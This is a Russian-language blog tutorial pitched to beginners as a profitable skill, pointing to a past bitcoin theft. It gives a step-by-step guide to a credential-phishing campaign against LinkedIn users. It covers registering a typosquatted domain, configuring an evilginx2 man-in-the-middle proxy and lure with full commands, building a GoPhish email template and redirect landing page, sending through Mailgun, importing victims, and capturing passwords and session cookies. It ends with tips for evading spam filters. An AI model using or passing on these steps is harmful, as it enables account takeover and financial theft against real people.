September 24, 2021

Обучение фишингу в 2021 году новичку

Я постарался расписать этот мануал максимально простым языком, понятным каждому.

Что такое фишинг и зачем он тебе нужен?

1. Что такое фишинг?

Фишинг — это набор методик, которые используют хакеры, чтобы стащить личную информацию, например, какой-нибудь логин с паролем или данные кредитных карточек. Эти техники отличаются от других вариантов взлома подходом к взаимодействию с жертвой. Внедрение вирусов или DOS-атака зачастую направлены на программное обеспечение. Фишинг же завязан на контакте с живым человеком, который, в силу отсутствия навыков работы с компьютером или банальной наивности, сам подставится под хакера и выдаст ему что-то конфиденциальное.

2. Зачем он тебе нужен?

Например, в 2015 году европейская криптовалютная биржа Bitstamp лишилась почти девятнадцати тысяч биткойнов из-за фишинговых атак, продолжавшихся в течение пяти недель.

Все это время атакующие хакеры представлялись то журналистами, то хедхантерами, рассылая фишинговые письма каждый раз с новой легендой.

  • Давай я переведу в рубли, что бы ты понял, насколько прибыльным может быть фишинг:
Как тебе сумма?

Думаю, что аргумент более чем внушительный. Поэтому давай начнем учиться.

Два направления фишинга

Процесс фишинга можно разделить на два направления:

  • Фишинговый сайт: это поддельный, фальшивый сайт, на котором неосведомленный пользователь вводит свои учетные данные. Отсюда мы перехватываем указанные учетные данные вместе с их сессионными куки.
  • Фишинговая почта: это письмо, которое будет отправлено жертве в надежде, что она клюнет на приманку и перейдет на наш поддельный сайт.

Фишинговый сайт

Инфраструктура и используемые инструменты

  1. Urlcrazy: инструмент, генерирующий домены с опечатками (такой процесс называется "тайпсквоттинг");
  2. Freenom: сервис для покупки свободного домена в целях тестирования/обучения;
  3. Evilginx2: "man-in-the-middle" прокси-сервер для создания фиш-сайта, который умеет перехватывать учетные данные.
  4. Бесплатная учетная запись Azure: Бесплатная стандартная виртуальная машина Azure для настройки всей инфраструктуры и инструментов.

Получение домена

Доменное имя должно быть убедительным и достаточно похожим на домен легального сайта. Можно использовать urlcrazy или catphish для создания списка доменов с опечатками.

❯ urlcrazy linkedin.com

Отмеченные домены - это примеры доменов с опечатками, из которых мы можем выбрать те, которые мы будем использовать. Все остальные уже используются другими "коллегами" ; )

Для демонстрации я собираюсь купить бесплатный домен у Freenom. Они предлагают бесплатные домены верхнего уровня .tk, .ml, ga, .cf, .gq.

Пока что я куплю linkdin.tk:

Примечание: Freenom немного глючит, поэтому вам, возможно, придется написать весь домен с TLD в поиске, чтобы иметь возможность выбрать и положить его в корзину.

Теперь у нас есть фишинговый домен, по которому будет доступен наш сайт.

Получение фишинговой машины

Чтобы запустить evilginx2, man-in-the-middle HTTP-прокси, я использую виртуальную машину Azure B1S Standard tier VM под управлением Ubuntu 20.04 LTS, которую я получил бесплатно по подписке Azure for Students.

После создания ВМ откройте порты 80, 443 и 3333 для HTTP, HTTPS и GoPhish.

Добавление DNS-записей

Перейдите на страницу управления DNS в вашем домене Freenom и добавьте A-запись для WWW.

Настройка EvilGinx2

Сначала установите Go, следуя инструкциям здесь, и убедитесь, что вы добавили его в $PATH.

Затем, клонируйте репозиторий evilginx2; перейдите (cd) в каталог и создайте выполните команду make. Кроме того, добавьте бинарник evilginx2 в /usr/bin или /usr/local/bin и скопируйте каталоги phishlets и templates в /usr/share/evilginx, чтобы использовать инструмент из любого пути.

❯ git clone https://github.com/kgretzky/evilginx2.git
❯ cd evilginx2                                       
❯ make           
❯ sudo cp bin/evilginx /usr/bin
❯ sudo cp -r phishlets/ /usr/share/evilginx/
❯ sudo cp -r templates /usr/share/evilginx/

Запустите evilginx2. Если фишлеты были загружены успешно, вы увидете запуск инструмента.

Теперь отредактируйте конфигурацию, добавьте свой домен, IP и URL редиректа.

: config domain linkdin.tk
[01:25:52] [inf] server domain set to: linkdin.tk

: config ip 52.172.136.70
[01:25:59] [inf] server IP set to: 52.172.136.70

: config redirect_url https://xxxx.xxxx
[02:02:52] [inf] unauthorized request redirection URL set to: https://xxxx.xxxx
Любые сканеры, сканирующие ваш домен без параметра lure, будут автоматически перенаправлены на redirect_url, который вы здесь указали.

Нам также необходимо установить TLS-сертификат для нашего домена. К счастью, evilginx2 может сделать это за нас. Выполните следующие команды

: phishlets hostname linkedin linkdin.tk
: phishlets enable linkedin 

Наш фишлет LinkedIn готов!

Создание приманки EvilGinx2

Следующая задача - создать приманку, которая будет представлять собой фишинговый URL, на который будут отправляться жертвы.

: lures create linkedin 
[04:31:37] [inf] created lure with ID: 1

: lures get-url 1
https://www.linkdin.tk/BMvzCciy

Нам также нужно добавить URL, на который будет перенаправлена жертва уже после входа в систему. Он отличается от config redirect_url, так как тот предназначен для сканеров и непреднамеренных пользователей, а этот - для жертв после входа в систему.

: lures edit 1 redirect_url https://www.linkedin.com/
[04:46:06] [inf] redirect_url = 'https://www.linkedin.com/'

После этого вы можете перейти на URL-адрес приманки, чтобы убедиться, что он исправно работает.

Если вы все сделали правильно, вы должны увидеть страницу входа в LinkedIn!

Поздравляем! Теперь у вас есть фишинговый сайт!

Примечание: Вы можете запустить evilginx2 в сессии tmux, чтобы при разрыве ssh-соединения инструмент продолжал работать.

Фишинговая почта

Инфраструктура и используемые инструменты

  1. GoPhish: фреймворк для фишинга, используемый для управления пользователями, шаблонами электронных писем и фишинговыми кампаниями.
  2. Mailgun: почтовый сервис, используемый для отправки писем жертвам.

Установка GoPhish

GoPhish - это фишинговый фреймворк с открытым исходным кодом, который позволяет легко настраивать, запускать и отслеживать фишинговые кампании. Установите его, скачав бинариник для вашей системы отсюда, или соберите его вручную:

❯ go get github.com/gophish/gophish

Затем перейдите в каталог установки (обычно ~/go/src/github.com/gophish/gophish) и выполните go build. В вашей директории должен появиться бинарный файл с названием gophish. В этой же директории должен лежать config.json. Измените в нем listen_url с 127.0.0.1:3333 на 0.0.0.0:3333.

Теперь вы можете запустить сам фреймворк;

sudo ./gophish
Вероятно, вам следует запустить gophish в той же сессии tmux, что и evilginx2

Временные учетные данные выводятся в логах. Перейдите по адресу https://[your-ip]:3333 и войдите в систему, используя их. Теперь вы находитесь в панели администратора GoPhish.

Настройка шаблона письма в GoPhish

Здесь мы устанавливаем и настраиваем электронное письмо, которое получит наша жертва. Чтобы создать убедительный шаблон письма, просмотрите свой собственный почтовый ящик и попытайтесь найти существующее письмо с сайта, который вы пытаетесь подделать. В моем примере я буду использовать письмо с подтверждением сброса пароля, которое я получил от LinkedIn.

Нажмите на кнопку опций с тремя точками и загрузите электронное письмо, которое вы хотите использовать в качестве шаблона.

Откройте файл, скопируйте его содержимое. Теперь перейдите на вкладку Email Templates и создайте новый шаблон. Нажмите на Import Email и вставьте сюда скопированное содержимое. По желанию, можно поставить галочку в чекбокс Change Links to Point to Landing Page. Это изменит все ссылки в письме так, чтобы они указывали на поддельную целевую страницу.

Теперь на вкладке HTML измените содержимое по своему вкусу.

Для справки, вот мой шаблон:

Настройка целевой страницы в GoPhish

Посадочная страница - это то, на что вы хотите, чтобы пользователи "приземлялись" после того, как они нажмут на ссылку в электронном письме. Находясь в панели администратора GoPhish, перейдите в раздел Landing Pages и создайте новую страницу. Дайте ей название и добавьте следующее содержание страницы;

<html><head><script>
        window.location.replace("<YOUR EVILGINX LURE URL");
    </script>
</head><body></body></html>

Это должно выглядеть примерно так:

Фишинговый сервер работает на http:[your-ip]:80. Это переменная шаблона для {{.URL}}. Когда жертва перейдет на эту страницу (по ссылке, которую ей будет предложено посетить), она будет перенаправлена на вашу приманку evilginx2.

Настройка профиля отправки с помощью GoPhish и Mailgun

Теперь, когда у нас есть фишинговое письмо, поддельный сайт и все инструменты, нам остается только отправить письмо. Для этого мы воспользуемся бесплатной учетной записью Mailgun. Создайте учетную запись в Mailgun и перейдите на вкладку отправки. Здесь, в разделе SMTP, вы увидите свои учетные данные для подключения по SMTP.

Также не забудьте добавить авторизованных получателей. Из-за бесплатного тарифа, только авторизованные пользователи могут получать электронные письма из вашей учетной записи Mailgun.

Теперь в Sending Profile на панели GoPhish создайте новый профиль и скопируйте сюда свои учетные данные, вместе с конфигурацией следующим образом.

Добавление пользователей в GoPhish

Вы должны добавить жертв в разделе Users & Groups. Перейдите в этот раздел, и вы увидите, что можете сделать это вручную или добавить массово из CSV.

Для демонстрации я буду отправлять письмо самому себе, поэтому я добавлю своего пользователя вручную.

Создание и запуск кампании

Все настройки GoPhish завершены! Теперь вам остается только создать новую кампанию в разделе кампаний, добавить все сделанные вами настройки и запустить ее!

Вполне вероятно, что ваше письмо будет помечено как фишинговое и перемещено в папку "Спам". Вы можете перейти по ссылке в письме, и заметите что-то вроде этого:

Нажмите кнопку продолжить и смотрите! evilginx2 начал регистрировать все данные нового посетителя (вас).

При вводе пароля вы видите, как evilginx2 перехватывает учетные данные и отображает их.

Выполнение команды sessions покажет вам все учетные данные пользователя и файлы cookie, которые вы захватили, хотя это не входит в наши текущие задачи.

Заключительные мысли

Поздравляю! Теперь вы знаете, как запустить фишинговую кампанию, при этом не потратив ни одного рубля! Ну, почти. Фишинговое письмо, конечно, скорее всего, попадет в спам, но этого можно избежать, используя другой домен и потратив немного денег на премиум-аккаунт Mailgun.

Обратите внимание, что это только начало пути в проведении фишинговых атак. Как только вы пойдете дальше, сложность увеличится. В игру вступают автоматизация, обфускация и обход различных фильтров.

На сегодня у меня все, спасибо за внимание!